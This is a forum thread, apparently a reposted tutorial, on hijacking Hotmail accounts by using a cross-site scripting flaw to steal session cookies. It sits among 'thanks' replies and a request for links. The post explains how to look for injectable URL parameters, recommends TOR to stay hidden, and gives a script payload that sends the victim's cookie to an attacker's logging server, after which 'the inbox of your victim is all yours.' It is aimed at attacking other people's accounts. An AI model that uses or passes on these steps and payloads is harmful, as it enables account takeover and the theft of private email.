thanks

Thanks man

Thanks again

let me see thanks!

thankssssssss

Introduction

[HIDE-REPLY]That microsoft's code is not always secure, is very clear again with this XSS exploit. This is not the first XSS exploit that has been found, others have been found. If you are viewing this document offline, the newest version can be found here. I am Adriaan Graas, a student who is interested in internet security and web development. I am currently 16 years old, though that would not make the exploit less effective.

Please do not mail me for hacking your ex-girlfriends inbox. Get away moron.
How

The idea is simple. When u are logged-in into Hotmail, a cookie is created wich allows you access every time you are in it's domain. Since the cookie is not IP-bind (how is this possible? - microsoft) we are able to fake the cookie, when stolen. Then use it to login. This all does mean that we do not have to know the password or even the emailaddress of the victim. Trough XSS we can insert an piece of javascript code that will send the cookie to a webserver with an log script. This can be written in PHP, ASP, CGI practically anything you want. The cookie can be faked with Proxomitron.
Where

This is like being, 50% based on - pure luck. Or you have an really awful amount of time to spend. Software is written for auto-searching XSS exploits. Dont use it - it is crap, clear thinking is enough.

When searching, keep these points in mind:

* The page where you are searching for must be in the domain, which is specified in the cookie. On the pages with 'Logout' buttons in Hotmail, you are using that cookie. I would recommend you adding some bookmark displaying your cookie, like java script:alert(document.cookie);.
* You can use practically use any browser, though i'd recommend Mozilla Firefox. It is stable, secure, and available on almost any OS. Use Opera or Internet Explorer - these are ok too - if you like them better. A good point of Opera is that it lets you manage your own cookies.
* If you want to be stealth, use TOR or a proxy. Though DNS Leaking is still dangerous.

Ok. It took me 4 to 5 hours to find three exploits. I will discuss one only.

After having a short look at the cookie, I decided to just start the search. Except for your security, no other preparations are needed. Focus yourself on URL's with GET variables - they are often vulnerable. And, when u opened up a new page, check if your cookie is still equal to hotmail's login page cookie. Start replacing a GET-variable in the url one by one. Reload the page and view the page source. Check in the source if there are also images or URL's which also contain GET variables, you might be able to exploit these. Is your replaced variable there, try to make it in a way that it ends valid html/javascript and can display you an error. Often special characters are escaped. An nice allround variabele is something like hya"'><ho><script>alert(document.cookie)
page=1&m= hya"><script>location.href='http://yourserver/logger.php?cookie= '%2Bescape(document.cookie)
. The inbox of your victim is all yours. If this does not work immediately, a cookie is not made yet. Just go to again.
References

, internet security challenges. Documents about XSS are in the library.
Hacking Hotmail by Alex de Vries, a much more detailed description about an XSS exploit discovered a year ago.
XSS by Rsnake, a very good tutorial with lots of example

give me the links babe

thank you

thanks

Thanks